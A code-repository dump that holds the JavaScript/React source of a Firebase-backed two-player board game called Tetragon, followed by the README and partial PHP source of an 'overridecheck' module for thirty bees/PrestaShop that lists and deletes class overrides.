});
}
restartTurn () {
this.firstSelect = null;
this.currentMove = 1;
let color = this.currentPlayer.color;
this.message = "Invalid. Restart " + color + ".";
}
switchPlayers () {
this.currentPlayer = (this.currentPlayer === this.player1) ? this.player2 : this.player1;
}
isOver() {
var flattened = this.grid.reduce((a, b) => a.concat(b));
for (var i = 0; i < flattened.length; i++) {
if (flattened[i] === false)
return false;
}
return true;
}
endGame () {
this.switchPlayers();
this.winner = this.currentPlayer;
this.message = "game over! " + this.winner.color + " wins!";
this.gameState = false;
}
scoreboard () {
var flattened = this.grid.reduce((a, b) => a.concat(b));
var blueCount = 0;
var redCount = 0;
for (var i = 0; i < flattened.length; i++) {
if (flattened[i] === 1){
redCount ++;
} else if (flattened[i] === 2){
blueCount ++;
}
}
this.redCount = redCount;
this.blueCount = blueCount;
}
}
<file_sep>/components/splash/splash_profile_anon.jsx
import React from 'react';
import Faker from 'Faker';
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
export default class SplashProfile extends React.Component {
constructor (props) {
super(props);
}
anonUsername () {
let key = this.props.user.uid.slice(0,4);
return 'anon-' + key;
}
anonImage () {
// let imgUrl = Faker.Image.abstractImage();
return (
<img src="images/default-user.png"
style={{width:"60px",marginBottom:"10px"}}>
</img>
);
}
logout () {
let user = firebase.auth().currentUser;
let that = this;
user.delete().then(function() {
that.props.checkCurrentUser();
}, function(error) {
console.log("logout error", error);
});
}
render () {
return (
<div className="start-splash-container">
<div className="anon-profile">
{this.anonImage()}
<p>{this.anonUsername()}</p>
<p>signed in anonymously</p>
<div className="logout-user"
onClick={() => this.logout()}>
<h5>logout</h5>
</div>
</div>
</div>
);
}
}
<file_sep>/components/game/footer_comp.jsx
import React from 'react';
const Footer = (props) => {
let text, klass;
if (props.gameBegun && !props.gameState) {
klass = "bottom-container";
text = "restart";
} else if (props.gameBegun && props.gameState) {
klass = "bottom-container-hide";
text = null;
} else if (!props.gameBegun && props.gameState) {
klass = "bottom-container";
text = "randomize";
}
return (
<div className={klass} onClick={() => props.restart()}>
{text}
</div>
);
};
export default Footer;
<file_sep>/components/game/board_comp.jsx
import React from 'react';
import Modal from 'react-modal';
import ModalStyle from './help_modal_style';
import Instructions from './instructions_comp';
import Tile from './tile_comp';
import Scoreboard from './scoreboard_comp';
import Footer from './footer_comp';
import HelperModal from './help_modal';
class Board extends React.Component {
constructor (props) {
super(props);
}
linkTo (address) {
this.context.router.push(address);
}
showBoard () {
const boardTiles = [];
const grid = this.props.board.grid;
for (var i = 0; i < grid.length; i++) {
for (var j = 0; j < grid[i].length; j++) {
let tileState = grid[i][j];
boardTiles.push(
<Tile
position={[i, j]}
tileState={tileState}
currentPlayer={this.props.board.currentPlayer}
open={false}
updateBoard={this.props.updateBoard}
onClick={() => this.considerMove([i, j])}
key={[i, j]}
/>
)
}
}
return boardTiles;
}
showCurrentPlayer () {
let currentColor = this.props.board.currentPlayer.color;
var textShadow = (currentColor === 'Red') ? "0px 0px 5px #ff0707" : "0px 0px 5px #07e2ff";
return (
<div style={{textShadow: textShadow}}>
{this.props.board.currentPlayer.color}
</div>
)
}
render () {
return (
<div className="board-container">
<div className="header-container">
<h1>TETRAGON</h1>
</div>
<div className="current-player-container">
<h5>
{this.showCurrentPlayer()}
</h5>
<div className="return-home-container"
onClick={() => this.linkTo('splash')}>
<h5>
home
</h5>
</div>
</div>
<Scoreboard redCount={this.props.board.redCount}
blueCount={this.props.board.blueCount}
message={this.props.board.message}
currentPlayer={this.props.board.currentPlayer}
/>
<HelperModal />
<div className="tiles-container">
{this.showBoard()}
</div>
<Footer
gameState={this.props.board.gameState}
gameBegun={this.props.board.gameBegun}
restart={this.props.restart}
/>
</div>
)
}
}
Board.contextTypes = {
router: React.PropTypes.object.isRequired
}
export default Board;
<file_sep>/components/game/help_modal.jsx
import React from 'react';
import Modal from 'react-modal';
import ModalStyle from './help_modal_style';
import Instructions from './instructions_comp';
export default class HelperModal extends React.Component {
constructor (props) {
super(props);
this.state = { modalIsOpen: false };
this.toggleModal = this.toggleModal.bind(this);
}
toggleModal () {
let newModalState = !this.state.modalIsOpen;
this.setState({ modalIsOpen: newModalState });
if (this.state.modalIsOpen)
ModalStyle.content.opacity = '0';
}
onModalOpen () {
ModalStyle.content.opacity = '1';
}
modalNode () {
var nodeModal = null;
if (this.state.modalIsOpen) {
nodeModal = (
<Modal
isOpen={this.state.modalIsOpen}
onRequestClose={this.toggleModal}
onAfterOpen={this.onModalOpen}
style={ModalStyle}
>
<Instructions toggleModal={this.toggleModal} />
</Modal>
)
}
return nodeModal;
}
render () {
return (
<div className="how-container">
{this.modalNode()}
<h5 onClick={() => this.toggleModal()}>
how?
</h5>
</div>
)
}
}
<file_sep>/js/grid_shapes.js
module.exports =
{
1: [
[2, false, false, null, null, false, false, 1],
[false, false, false, false, false, false, false, false],
[false, false, null, false, false, null, false, false],
[false, null, false, false, false, false, null, false],
[false, null, false, false, false, false, null, false],
[false, false, null, false, false, null, false, false],
[false, false, false, false, false, false, false, false],
[1, false, false, null, null, false, false, 2],
],
2: [
[1, false, null, false, false, false, false, 2],
[false, false, false, false, false, false, null, false],
[null, false, false, null, false, false, false, false],
[null, false, false, false, false, null, false, false],
[false, false, null, false, false, false, false, null],
[false, false, false, false, null, false, false, null],
[false, null, false, false, false, false, false, false],
[2, false, false, false, false, null, false, 1],
],
3: [
[1, false, false, null, false, false, false, 2],
[false, false, false, false, null, false, false, false],
[false, false, null, false, false, null, false, false],
[null, false, false, null, false, false, null, false],
[false, null, false, false, null, false, false, null],
[false, false, null, false, false, null, false, false],
[false, false, false, null, false, false, false, false],
[2, false, false, false, null, false, false, 1],
]
};
<file_sep>/components/splash/auth_splash.jsx
import React from 'react';
import AnonymousLogin from '../auth/anon_auth';
import GoogleLogin from '../auth/google_auth';
import FacebookLogin from '../auth/facebook_auth';
import SplashProfile from './splash_profile';
import SplashProfileAnon from './splash_profile_anon';
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
export default class AuthSplash extends React.Component {
constructor () {
super();
this.state = { user: null };
this.checkCurrentUser = this.checkCurrentUser.bind(this);
this.logoutCurrentUser = this.logoutCurrentUser.bind(this);
}
componentDidMount () {
this.checkCurrentUser();
}
checkCurrentUser () {
let that = this;
firebase.auth().onAuthStateChanged(function(user) {
if (user) {
that.setState({ user: user });
} else {
that.setState({ user: null });
}
});
}
logoutCurrentUser () {
let user = firebase.auth().currentUser;
if (user.isAnonymous) {
user.delete().then(function() {
// Anonymous User Sign-out successfull
}, function(error) {
console.log("logout error", error);
});
} else {
firebase.auth().signOut().then(function() {
// FB/Google-based User Sign-out successful.
}, function(error) {
console.log("logout error", error);
});
}
this.checkCurrentUser();
}
render () {
let splashNode;
let user = firebase.auth().currentUser;
if (user) {
if (user.isAnonymous) {
splashNode = (
<SplashProfileAnon
user={user}
logoutCurrentUser={this.logoutCurrentUser} />
)
} else {
splashNode = (
<SplashProfile
user={user}
logoutCurrentUser={this.logoutCurrentUser} />
)
}
} else {
splashNode = (
<div className="auth-splash-container">
<div className="top">
login through facebook, google+, or anonymously to play online
</div>
<FacebookLogin checkCurrentUser={this.checkCurrentUser} />
<GoogleLogin checkCurrentUser={this.checkCurrentUser} />
<AnonymousLogin checkCurrentUser={this.checkCurrentUser} />
</div>
)
}
return (
<div>
{splashNode}
</div>
);
}
}
<file_sep>/js/firebase_config.js
// firebase app and database
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
// CONSTANTS used within GameConfigs class
// The maximum number of players. If there are already
// NUM_PLAYERS assigned, users won't be able to join the game.
const NUM_PLAYERS = 2;
// The root of your game data.
const GAME_LOCATION = 'https://tetragon-3e324.firebaseio.com/games';
// A location under GAME_LOCATION that will store the list of
// players who have joined the game (up to MAX_PLAYERS).
const PLAYERS_LOCATION = 'player_list';
// A location under GAME_LOCATION that you will use to store data
// for each player (their game state, etc.)
const PLAYER_DATA_LOCATION = 'player_data';
export default class GameConfigs {
constructor (user, permitGameStart) {
this.log = []; // list of happenings and IDs
this.gameKey = null; // should be set on initialization of GameConfig class
this.player = user;
this.permitGameStart = permitGameStart;
this.acknowledgeUser(user);
this.checkOpenGame();
}
acknowledgeUser () {
let user = this.player;
let note1 = "Matchmaking has begun";
let note2 = "Player Username: " + user.displayName;
let note3 = "Player ID: " + user.uid;
this.log.push(note1);
this.log.push(note2);
this.log.push(note3);
}
getNewGameKey () {
// set up new game in '/games' in database
const newGameKey = firebase.database().ref().child('games').push().key;
this.gameKey = newGameKey;
let newGame = "New game initialized";
let newGameConfigs = "Game ID: " + newGameKey;
this.log.push(newGame);
this.log.push(newGameConfigs);
return this.initiateMatchmaking();
}
checkOpenGame () {
let gamesList = firebase.database().ref('games');
gamesList.on('value', function(snapshot) {
// snapshot is object containing all game IDs
let list = snapshot.val();
for (let key in list) {
let game = list[key];
let playerList = game.player_list;
if (playerList.length === 1) {
// set current game to game key and call initiate matchmaking
this.gameKey = key;
let gameNote = "Found open game";
let gameNote2 = "Open Game ID: " + this.gameKey;
this.log.push(gameNote);
this.log.push(gameNote2);
return this.initiateMatchmaking();
}
}
}.bind(this));
return this.getNewGameKey();
}
// Instantiate multiplayer game
initiateMatchmaking () {
var userId = this.player.uid;
var gameRef = firebase.database().ref('games/' + this.gameKey);
console.log("game reference:", gameRef);
this.assignPlayerNumberAndPlayGame(userId, gameRef);
}
// Called after player assignment completes.
playGame (myPlayerNumber, userId, justJoinedGame, gameRef) {
console.log("playGame called");
var playerDataRef = gameRef.child(PLAYER_DATA_LOCATION).child(myPlayerNumber);
if (justJoinedGame) {
// alert('Doing first-time initialization of data.');
playerDataRef.set({userId: userId, state: 'game state'});
}
return this.permitGameStart();
}
// Use transaction() to assign a player number, then call playGame().
assignPlayerNumberAndPlayGame (userId, gameRef) {
var playerListRef = gameRef.child(PLAYERS_LOCATION);
var myPlayerNumber, alreadyInGame = false;
return this.playGame(myPlayerNumber, userId, !alreadyInGame, gameRef);
// playerListRef.transaction(function(playerList) {
// // Attempt to (re)join the given game. Notes:
// //
// // 1. Upon very first call, playerList will likely appear null (even if the
// // list isn't empty), since Firebase runs the update function optimistically
// // before it receives any data.
// // 2. The list is assumed not to have any gaps (once a player joins, they
// // don't leave).
// // 3. Our update function sets some external variables but doesn't act on
// // them until the completion callback, since the update function may be
// // called multiple times with different data.
// if (playerList === null) {
// playerList = [];
// }
//
// for (var i = 0; i < playerList.length; i++) {
// if (playerList[i] === userId) {
// // Already seated so abort transaction to not unnecessarily update playerList.
// alreadyInGame = true;
// myPlayerNumber = i; // Tell completion callback which seat we have.
// return;
// }
// }
//
// if (i < NUM_PLAYERS) {
// // Empty seat is available so grab it and attempt to commit modified playerList.
// playerList[i] = userId; // Reserve our seat.
// myPlayerNumber = i; // Tell completion callback which seat we reserved.
// return playerList;
// }
//
// // Abort transaction and tell completion callback we failed to join.
// myPlayerNumber = null;
// }, function (error, committed) {
// // Transaction has completed. Check if it succeeded or we were already in
// // the game and so it was aborted.
// if (committed || alreadyInGame) {
// console.log("Successful join.", myPlayerNumber, userId, gameRef);
// this.playGame(myPlayerNumber, userId, !alreadyInGame, gameRef);
// } else {
// console.log("Can't join game.");
// }
// }.bind(this));
}
}
<file_sep>/components/game/game_online_comp.jsx
import React from 'react';
import Board from '../../js/board';
import BoardComponent from './board_comp';
// firebase app and database
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
var Rebase = require('re-base');
var base = Rebase.createClass({
apiKey: "<KEY>",
authDomain: "tetragon-3e324.firebaseapp.com",
databaseURL: "https://tetragon-3e324.firebaseio.com",
storageBucket: "",
});
class Game extends React.Component {
constructor (props) {
super(props);
this.state = {
board: new Board
};
this.updateBoard = this.updateBoard.bind(this);
this.restart = this.restart.bind(this);
}
componentDidMount () {
// listen for change to board from database; if so, update board in state
base.syncState(`board`, {
context: this,
state: 'board',
asArray: false,
then (newBoard) {
console.log("new board", newBoard);
}
});
}
updateBoard (coords) {
var board = this.state.board;
var y = coords[0];
var x = coords[1];
board.scoreboard();
if (board.currentMove === 1){
board.considerFirstMove(coords);
this.setState({ board: board });
} else if (board.currentMove === 2){
board.considerSecondMove(coords);
this.setState({ board: board });
}
this.setState({ board: board });
}
restart () {
this.setState({ board: new Board });
}
render () {
return (
<div className="game-container">
<BoardComponent
board={this.state.board}
updateBoard={this.updateBoard}
restart={this.restart}
/>
</div>
)
}
}
export default Game;
<file_sep>/components/splash/splash_profile.jsx
import React from 'react';
export default class SplashProfile extends React.Component {
constructor (props) {
super(props);
}
showUsername () {
return (
<p>
{this.props.user.displayName}
</p>
)
}
showImage () {
let imgUrl = this.props.user.photoURL;
return (
<img src={imgUrl}
style={{width:"60px", marginBottom:"10px"}}>
</img>
);
}
render () {
console.log(this.props.user);
return (
<div className="start-splash-container">
<div className="user-profile">
{this.showImage()}
{this.showUsername()}
<div className="logout-user"
onClick={() => this.props.logoutCurrentUser()}>
<h5>logout</h5>
</div>
</div>
</div>
);
}
}
<file_sep>/root.jsx
import React from 'react';
import ReactDOM from 'react-dom';
import Modal from 'react-modal';
import TwoPlayerGame from './components/game/game_comp';
import OnlineGame from './components/game/game_online_comp';
import Splash from './components/splash/splash';
//Router
var ReactRouter = require('react-router');
var Router = ReactRouter.Router;
var Route = ReactRouter.Route;
var IndexRoute = ReactRouter.IndexRoute;
var hashHistory = ReactRouter.hashHistory;
//Firebase
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
// Initialize Firebase
const config = {
apiKey: "<KEY>",
authDomain: "tetragon-3e324.firebaseapp.com",
databaseURL: "https://tetragon-3e324.firebaseio.com",
storageBucket: "",
};
firebase.initializeApp(config);
var routes = (
<Router history={hashHistory} >
<Route path="/" component={App} >
<IndexRoute component={Splash} />
<Route path="splash" component={Splash} />
<Route path="two_player_game" component={TwoPlayerGame} />
<Route path="online_game" component={OnlineGame} />
</Route>
</Router>
);
class App extends React.Component {
render () {
return (
<div className="content">
{this.props.children}
</div>
)
}
}
document.addEventListener('DOMContentLoaded', () => {
const root = document.getElementById('root');
Modal.setAppElement(document.body);
ReactDOM.render(routes, root)
});
<file_sep>/components/auth/google_auth.jsx
import React from 'react';
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
export default class GoogleLogin extends React.Component {
constructor () {
super();
}
googlePopUpSignIn () {
let provider = new firebase.auth.GoogleAuthProvider();
firebase.auth().signInWithPopup(provider).then(function(result) {
// This gives you a Google Access Token. You can use it to access the Google API.
var token = result.credential.accessToken;
// The signed-in user info.
var user = result.user;
}).catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// The email of the user's account used.
var email = error.email;
// The firebase.auth.AuthCredential type that was used.
var credential = error.credential;
// ...
});
this.props.checkCurrentUser();
}
render () {
return (
<div className="auth-option"
onClick={() => this.googlePopUpSignIn()}>
<div className="left">
google
</div>
<div className="right">
<img src="images/googly-1.png"></img>
</div>
</div>
);
}
}
<file_sep>/components/game/tile_comp.jsx
import React from 'react';
export default class Tile extends React.Component {
constructor (props) {
super(props);
this.updateBoard = props.updateBoard;
}
handleClick () {
this.updateBoard(this.props.position);
}
render () {
var tileState;
var gemClass;
if (this.props.tileState === null){
tileState = 'null-tile';
gemClass = "no-gem";
} else if (this.props.tileState === false){
tileState = 'open-tile';
gemClass = "no-gem";
} else if (this.props.tileState === true){
tileState = "glow-tile";
gemClass = "no-gem";
}
// different classes based on this.props.currentPlayer
if (this.props.currentPlayer.num === 1){
if (this.props.tileState === 1){
tileState = "red-tile"; // player1 is red
gemClass = "gem-red";
} else if (this.props.tileState === 2){
tileState = "blue-tile"; // player2 is blue
gemClass = "gem-blue-inactive";
}
} else if (this.props.currentPlayer.num === 2) {
if (this.props.tileState === 1){
tileState = "red-tile"; // player1 is red
gemClass = "gem-red-inactive";
} else if (this.props.tileState === 2){
tileState = "blue-tile"; // player2 is blue
gemClass = "gem-blue";
}
}
return(
<div className="tile-container"
onClick={() => this.handleClick()}>
<div className={tileState}>
<div className={gemClass}>
<div className="shadow"></div>
</div>
</div>
</div>
)
}
}
<file_sep>/js/player.js
export default class Player {
constructor (name, num, color) {
this.name = name;
this.num = num;
this.color = color;
}
}
| ef6bb8eb81dc4fad30f37ca1e7ac9c2cca047e08 | [
"JavaScript"
] | 18 | JavaScript | josephwilliams/tetragon_firebase | 63093a47577f400e5313cb290595ad29a509d546 | 3c7bd864d60bc5a37289e18ab268390e1891ed6d |
refs/heads/master | <repo_name>wuyao666/ssm-crm<file_sep>/ssm-crm/src/cn/itwuyao/ssm/controller/CustomerController.java
package cn.itwuyao.ssm.controller;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import cn.itwuyao.ssm.pojo.BaseDict;
import cn.itwuyao.ssm.pojo.Customer;
import cn.itwuyao.ssm.pojo.QueryVo;
import cn.itwuyao.ssm.service.CustomerService;
import cn.itwuyao.ssm.utils.Page;
@Controller
@RequestMapping(value="/customer")
public class CustomerController {
@Autowired
private CustomerService customerService;
//客户行业 为001
@Value(value="${CUSTOMER_INDUSTRY_TYPE}")
private String industryType;
//客户来源为002
@Value(value="${CUSTOMER_FROM_TYPE}")
private String fromType;
//客户级别 为006
@Value(value="${CUSTOMER_LEVEL_TYPE}")
private String levelType;
@RequestMapping(value="/list.action")
public String queryCustomerList(QueryVo queryVo,HttpServletRequest request){
//去除客户名称查询中的空格
if(queryVo.getCustName()!=null){
queryVo.setCustName(queryVo.getCustName().trim());
}
//查询客户行业列表
List<BaseDict> iList = customerService.findBaseDictByDictTypeCode(industryType);
request.setAttribute("industryType", iList);
//查询客户来源列表
List<BaseDict> fList = customerService.findBaseDictByDictTypeCode(fromType);
request.setAttribute("fromType", fList);
//查询客户级别列表
List<BaseDict> lList = customerService.findBaseDictByDictTypeCode(levelType);
request.setAttribute("levelType", lList);
//查询每页的数据
Page<Customer> page=customerService.queryCustomerByPage(queryVo);
request.setAttribute("page", page);
return "customer";
}
@RequestMapping(value="/delete.action")
@ResponseBody
public String delete(Integer id){
customerService.delete(id);
return "ok";
}
@RequestMapping(value="/edit.action")
@ResponseBody
public Customer edit(Integer id){
Customer customer = customerService.findCustomerById(id);
return customer;
}
@RequestMapping(value="/update.action")
@ResponseBody
public String update(Customer customer){
customerService.updateCustomerById(customer);
return "ok";
}
}
<file_sep>/ssm-crm/src/cn/itwuyao/ssm/service/CustomerService.java
package cn.itwuyao.ssm.service;
import java.util.List;
import cn.itwuyao.ssm.pojo.BaseDict;
import cn.itwuyao.ssm.pojo.Customer;
import cn.itwuyao.ssm.pojo.QueryVo;
import cn.itwuyao.ssm.utils.Page;
public interface CustomerService {
List<BaseDict> findBaseDictByDictTypeCode(String dictTypeCode);
Page<Customer> queryCustomerByPage(QueryVo queryVo);
void delete(Integer id);
Customer findCustomerById(Integer id);
void updateCustomerById(Customer customer);
}
| b5bd64e2bd89627f04ffa069eaa6b0d460844c25 | [
"Java"
] | 2 | Java | wuyao666/ssm-crm | c90f2a9cb1c2b8f547e986b7390ee94572dc92a9 | 6edcb222867947861d3c8b83c7215950115c7df1 |
refs/heads/master | <file_sep>Personal Website developed with ReactJS and some BootStrap 4, hosted on github pages and can be found at <a href = "https://jasonrcabrera.com"> jasonrcabrera.com </a>
Currently exploring how to make webpage more interactive with JavaScript.
Source code is found in the master branch. Built static branch is found in the gh-pages branch.
Will look into other ways to improve website.
<file_sep>import React, { Component } from 'react';
import logo from './logo.svg';
import './App.css';
import Navbar from './components/Navbar.js';
class App extends Component {
render() {
return (
<div className = "App">
<h1 className = "title"> <NAME></h1>
<h2 className = "below-title"> Sophomore at University of California, San Diego: B.S. Mathematics - Computer Science </h2>
<img className = "front-logo" src = "https://cdn.dribbble.com/users/109649/screenshots/954354/lightningbolt.png" />
<h1 className = "next-picture"> About Me</h1>
<h2 className = "description"> Hello I'm Jason and I'm a programmer, sports enthusiast, and nature lover currently living in Baldwin Park, California. I spend my free time playing soccer, watching tv shows, and looking for more ways to gain programming experience. I'm always up for new challenges and I find a lot of joy in full stack development.</h2>
<div className = "contain">
<div className = "for-nav">
<table>
<tr>
<th>
<a href = "mailto:<EMAIL>" title = "Email"target = "_blank"><img className = "email" src = "https://ubisafe.org/images/email-vector.png" /> </a>
</th>
<th>
<a href= "https://github.com/jayrc7" target = "_blank" title = "GitHub"><img className = "git"src="https://4.bp.blogspot.com/--omgjr2n6eg/WyN-i8kG6PI/AAAAAAAASGc/4rW8yeCYWPogpTdE9Y50ry2vcFy_l4rjQCLcBGAs/s320/github.jpg"/></a>
</th>
<a href = "https://www.linkedin.com/in/jason-cabrera-b45522167/" target = "_blank" title = "LinkedIn"> <img className = "linked" src = "https://2.bp.blogspot.com/-RDbj7QYLEog/WyODFhyIcBI/AAAAAAAASGo/Q3UFQ8u-RlQhhOkY8843Z6i1Xks1ywU8gCLcBGAs/s320/linkedin.png" /> </a>
<th>
<a href = "https://docs.google.com/document/d/1QS9l3O1V1auV03aBINOeANODck8z9lPR6S0G3Mwr2_M/edit?usp=sharing" target = "_blank" title = "Resume"> <img className = "resume" src = "https://cdn3.iconfinder.com/data/icons/web-ui-3/128/Menu2-2-512.png" /> </a>
</th>
</tr>
</table>
</div>
<div className = "for-mobile">
<table>
<tr>
<th>
<a href = "mailto:<EMAIL>" title = "Email"target = "_blank"><img className = "email" src = "https://ubisafe.org/images/email-vector.png" /> </a>
</th>
<th>
<a href= "https://github.com/jayrc7" target = "_blank" title = "GitHub"><img className = "git"src="https://4.bp.blogspot.com/--omgjr2n6eg/WyN-i8kG6PI/AAAAAAAASGc/4rW8yeCYWPogpTdE9Y50ry2vcFy_l4rjQCLcBGAs/s320/github.jpg"/></a>
</th>
<a href = "https://www.linkedin.com/in/jason-cabrera-b45522167/" target = "_blank" title = "LinkedIn"> <img className = "linked" src = "https://2.bp.blogspot.com/-RDbj7QYLEog/WyODFhyIcBI/AAAAAAAASGo/Q3UFQ8u-RlQhhOkY8843Z6i1Xks1ywU8gCLcBGAs/s320/linkedin.png" /> </a>
<th>
<a href = "https://docs.google.com/document/d/1QS9l3O1V1auV03aBINOeANODck8z9lPR6S0G3Mwr2_M/edit?usp=sharing" target = "_blank" title = "Resume"> <img className = "resume" src = "https://cdn3.iconfinder.com/data/icons/web-ui-3/128/Menu2-2-512.png" /> </a>
</th>
</tr>
</table>
</div>
</div>
<br />
</div>
//props
//this.props.name
//state is the private variables of a class
//props are the properties of a class
);
}
}
export default App;
| adcba97b089746363618d62c8331d3210bd09d85 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | jayrc7/website | 24f77abee2ffcb733b757178ee059033b0b25997 | 75b41a83420539907d0d0228ecdd291e3eeb25a8 |
refs/heads/master | <file_sep>const typeDefenition = `
type Product {
id: ID!
name: String!
description: String!
image: String!
}
type Order {
id: ID!
status: Int
products: [Product]!
}
input OrderInput {
products: [Product]!
}
type RootQuery {
products: [Product] # Corresponds to GET /api/products
orders: [Order] # Corresponds to GET /api/orders
projects: [Project] # Corresponds to GET /api/projects
task(id: ID!): Task # Corresponds to GET /api/tasks/:id
tasks: [Task] # Corresponds to GET /api/tasks
}
type RootMutation {
createOrder(input: OrderInput!): Order
removeOrder(id: ID!): Order
}
schema {
query: RootQuery
mutation: RootMutation
}
`;
export default typeDefinitions;
| 500c8474a020bb503b846d74773e3349d358e9d8 | [
"JavaScript"
] | 1 | JavaScript | brusni4ka/ShoppingCart | 621c69c8b77e991131c18a511ac6b89d320b0806 | cb7ea8de89daa1fd3d67f59633006e4e798356aa |
refs/heads/main | <repo_name>RicardoG06/App-gestion-horarios<file_sep>/README.md
# App - Gestion_horarios_aws
Se realizara un app para la gestion y control de horarios en la empresa Manantial utilizando las herramientas de AWS Amplify
## Empecemos
## Login

## Registro

<file_sep>/android/app/src/main/kotlin/com/example/gestion_horarios_aws/MainActivity.kt
package com.example.gestion_horarios_aws
import io.flutter.embedding.android.FlutterActivity
class MainActivity: FlutterActivity() {
}
| 4559420ea6948a106b02a696c03319f8d17a2f01 | [
"Markdown",
"Kotlin"
] | 2 | Markdown | RicardoG06/App-gestion-horarios | e5d1f3e706674af88dc648a326b1c2dbecc6b08e | c38e67f0afccedbfb64fa951d9342d1ab064a7ce |
refs/heads/master | <file_sep># Override check
Check which overrides are in use already
## Features
- Find which overrides are already in use
- Remove overrides with the click of a button

## Installation
### Module installation
- Upload the module via your Back Office
- Install the module
- Check if there are any errors and correct them if necessary
- Profit!
## Minimum requirements
- PrestaShop `192.168.127.12` or thirty bees `1.0.0`
- PHP `5.5`
## License
Academic Free License 3.0
<file_sep><?php
/**
* 2017-2018 thirty bees
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/afl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to <EMAIL> so we can send you a copy immediately.
*
* @author <NAME> <<EMAIL>>
* @copyright 2017-2018 thirty bees
* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
*/
use OverrideCheckModule\OverrideVisitor;
use ThirtyBeesOverrideCheck\PhpParser\NodeTraverser;
use ThirtyBeesOverrideCheck\PhpParser\ParserFactory;
use ThirtyBeesOverrideCheck\PhpParser\PrettyPrinter\Standard as StandardPrinter;
if (!defined('_PS_VERSION_')) {
exit;
}
require_once __DIR__.'/vendor/autoload.php';
/**
* Class OverrideCheck
*/
class OverrideCheck extends Module
{
/**
* OverrideCheck constructor.
*
* @throws PrestaShopException
*/
public function __construct()
{
$this->name = 'overridecheck';
$this->tab = 'administration';
$this->version = '1.1.0';
$this->author = 'thirty bees';
$this->need_instance = 0;
$this->bootstrap = true;
parent::__construct();
// Only check from Back Office
if (isset(Context::getContext()->employee->id) && Context::getContext()->employee->id) {
if (version_compare(phpversion(), '5.5', '<')) {
$this->context->controller->errors[] = $this->displayName.': '.$this->l('Your PHP version is not supported. Please upgrade to PHP 5.5 or higher.');
$this->disable();
return;
}
}
$this->displayName = $this->l('Override check');
$this->description = $this->l('Check which overrides are in use');
}
/**
* Load the configuration form
*
* @return string
* @throws Adapter_Exception
* @throws PrestaShopDatabaseException
* @throws PrestaShopException
* @throws ReflectionException
* @throws SmartyException
*/
public function getContent()
{
$overrides = $this->findOverrides();
if (Tools::isSubmit('deletemodule') && Tools::isSubmit('id_override')) {
$idOverride = Tools::getValue('id_override');
if (array_key_exists($idOverride, $overrides)) {
$override = explode('::', $overrides[$idOverride]['override']);
if ($this->removeMethod($override[0], $override[1])) {
$this->context->controller->confirmations[] = $this->l('The override has been removed');
}
} else {
$this->context->controller->errors[] = $this->l('Override not found');
}
} elseif (Tools::isSubmit('submitBulkdeletemodule') && Tools::getValue('overrideBox')) {
$idOverrides = Tools::getValue('overrideBox');
$success = true;
foreach ($idOverrides as $idOverride) {
if (array_key_exists($idOverride, $overrides)) {
$override = explode('::', $overrides[$idOverride]['override']);
$success &= $this->removeMethod($override[0], $override[1]);
}
}
if ($success) {
$this->context->controller->confirmations[] = $this->l('The overrides have been removed');
} else {
$this->context->controller->errors[] = $this->l('Not all overrides could be removed');
}
} elseif ((Tools::isSubmit('viewmodule') || Tools::isSubmit('updatemodule')) && Tools::isSubmit('id_override')) {
foreach ($overrides as $override) {
if ($override['id_override'] == Tools::getValue('id_override')) {
$module = $override['module_code'];
}
}
if (isset($module) && $module != $this->l('Unknown')) {
$link = Context::getContext()->link;
$baseUrl = $link->getAdminLink('AdminModules', true);
Tools::redirectAdmin($baseUrl.'&module_name='.$module.'&anchor='.ucfirst($module));
}
}
return $this->renderOverrideList();
}
/**
* @return string
* @throws Adapter_Exception
* @throws PrestaShopDatabaseException
* @throws PrestaShopException
* @throws ReflectionException
* @throws SmartyException
*/
protected function renderOverrideList()
{
$helperList = new HelperList();
$helperList->shopLinkType = false;
$overrides = $this->findOverrides();
$skipActions = [];
foreach ($overrides as $override) {
if ($override['module_name'] === $this->l('Unknown') || $override['deleted']) {
$skipActions['view'][] = $override['id_override'];
}
if ($override['deleted']) {
$skipActions['delete'][] = $override['id_override'];
}
}
$helperList->simple_header = true;
$helperList->actions = ['view', 'delete'];
$helperList->list_skip_actions = $skipActions;
$helperList->bulk_actions = [
'delete' => [
'text' => $this->l('Delete selected'),
'confirm' => $this->l('Delete selected items?'),
],
];
$helperList->_defaultOrderBy = 'id_override';
$fieldsList = [
'id_override' => ['title' => $this->l('ID'), 'type' => 'int', 'width' => 40],
'override' => ['title' => $this->l('Override'), 'type' => 'string', 'width' => 'auto', 'callback' => 'displayOverride', 'callback_object' => $this],
'module_code' => ['title' => $this->l('Module code'), 'type' => 'string', 'width' => 'auto', 'callback' => 'displayModuleCode', 'callback_object' => $this],
'module_name' => ['title' => $this->l('Module name'), 'type' => 'string', 'width' => 'auto'],
'version' => ['title' => $this->l('Module version'), 'type' => 'string', 'width' => 'auto', 'callback' => 'displayModuleVersion', 'callback_object' => $this],
'date' => ['title' => $this->l('Installed on'), 'type' => 'datetime', 'width' => 'auto'],
];
$helperList->list_id = 'override';
$helperList->identifier = 'id_override';
$helperList->title = $this->l('Overrides');
$helperList->token = Tools::getAdminTokenLite('AdminModules');
$helperList->currentIndex = AdminController::$currentIndex.'&configure='.$this->name;
$helperList->table = 'module';
return $helperList->generateList($overrides, $fieldsList);
}
/**
* Find overrides
*
* @return array Overrides
* @throws Adapter_Exception
* @throws PrestaShopDatabaseException
* @throws PrestaShopException
* @throws ReflectionException
*/
protected function findOverrides()
{
$overrides = [];
